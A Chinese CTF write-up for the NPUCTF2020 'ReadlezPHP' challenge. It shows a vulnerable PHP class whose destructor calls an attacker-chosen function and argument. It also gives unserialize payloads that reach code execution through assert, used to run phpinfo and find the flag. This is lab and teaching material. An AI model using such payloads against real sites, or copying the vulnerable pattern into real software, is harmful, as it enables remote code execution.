当前位置:网站首页>[NPUCTF2020]ReadlezPHP
[NPUCTF2020]ReadlezPHP
2022-07-06 09:15:00 【Her&mes】
WP
如有不对,还请指正
进入靶机环境,走流程:
1.看源码
2.手动尝试访问几个常见的网页名,
3.用dirsearch扫网站。
直接在源码中发现一个链接:
<p>百万前端的NPU报时中心为您报时:<a href="./time.php?source"></a></p>
访问/time.php?source,这下进入题目大门了,白盒审计,看起来是一道比较简单的反序列化
白盒代码:
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
尝试构造payload
/time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:4:"eval";}
然后就没有然后了,页面回显“500,无法处理请求”,我无了,有过滤,那换代码,构造payload
/time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:12:"var_dump(10)";s:1:"b";s:4:"eval";}
和之前一样,无法处理请求,可是var_dump()一般来讲应该不会被过滤,可能是eval被过滤,换成assert试试
/time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:12:"var_dump(10)";s:1:"b";s:6:"assert";}
成功,页面回显int(10) 2021-04-07 12:39:47
把var_dump(10)换成phpinfo(),(记得改大小),很好,phpinfo没有被过滤,看disable_functions栏,过滤了system,exec,shell_exec
再尝试搜索flag,ohhhhhhhhhh,还真有(这要是空过去了…论好习惯的重要性)。
PS:assert从7.2开始不再支持字符串=>不能执行PHP代码了(本题目在BUU上是PHP/7.0.33)
边栏推荐
- AcWing 1294. Cherry Blossom explanation
- Unable to call numpy in pycharm, with an error modulenotfounderror: no module named 'numpy‘
- Kept VRRP script, preemptive delay, VIP unicast details
- Software testing - interview question sharing
- ES6 let 和 const 命令
- 报错解决 —— io.UnsupportedOperation: can‘t do nonzero end-relative seeks
- Error connecting to MySQL database: 2059 - authentication plugin 'caching_ sha2_ The solution of 'password'
- QT creator custom build process
- [free setup] asp Net online course selection system design and Implementation (source code +lunwen)
- Codeforces Round #753 (Div. 3)
猜你喜欢

图像识别问题 — pytesseract.TesseractNotFoundError: tesseract is not installed or it‘s not in your path

UDS learning notes on fault codes (0x19 and 0x14 services)

neo4j安装教程

QT creator test

Nanny level problem setting tutorial

Image recognition - pyteseract TesseractNotFoundError: tesseract is not installed or it‘s not in your path

Django running error: error loading mysqldb module solution

PyCharm中无法调用numpy,报错ModuleNotFoundError: No module named ‘numpy‘

LeetCode #461 汉明距离

Machine learning notes week02 convolutional neural network
随机推荐
C语言读取BMP文件
Cookie setting three-day secret free login (run tutorial)
Base de données Advanced Learning Notes - - SQL statements
Remember the interview algorithm of a company: find the number of times a number appears in an ordered array
QT creator uses Valgrind code analysis tool
Basic use of redis
Deoldify project problem - omp:error 15:initializing libiomp5md dll,but found libiomp5md. dll already initialized.
记一次某公司面试题:合并有序数组
Record a problem of raspberry pie DNS resolution failure
Aborted connection 1055898 to db:
JDBC原理
数数字游戏
Heating data in data lake?
AcWing 179. Factorial decomposition problem solution
Did you forget to register or load this tag
AcWing 1294. Cherry Blossom explanation
Learning question 1:127.0.0.1 refused our visit
安全测试涉及的测试对象
Vs2019 desktop app quick start
Library function -- (continuous update)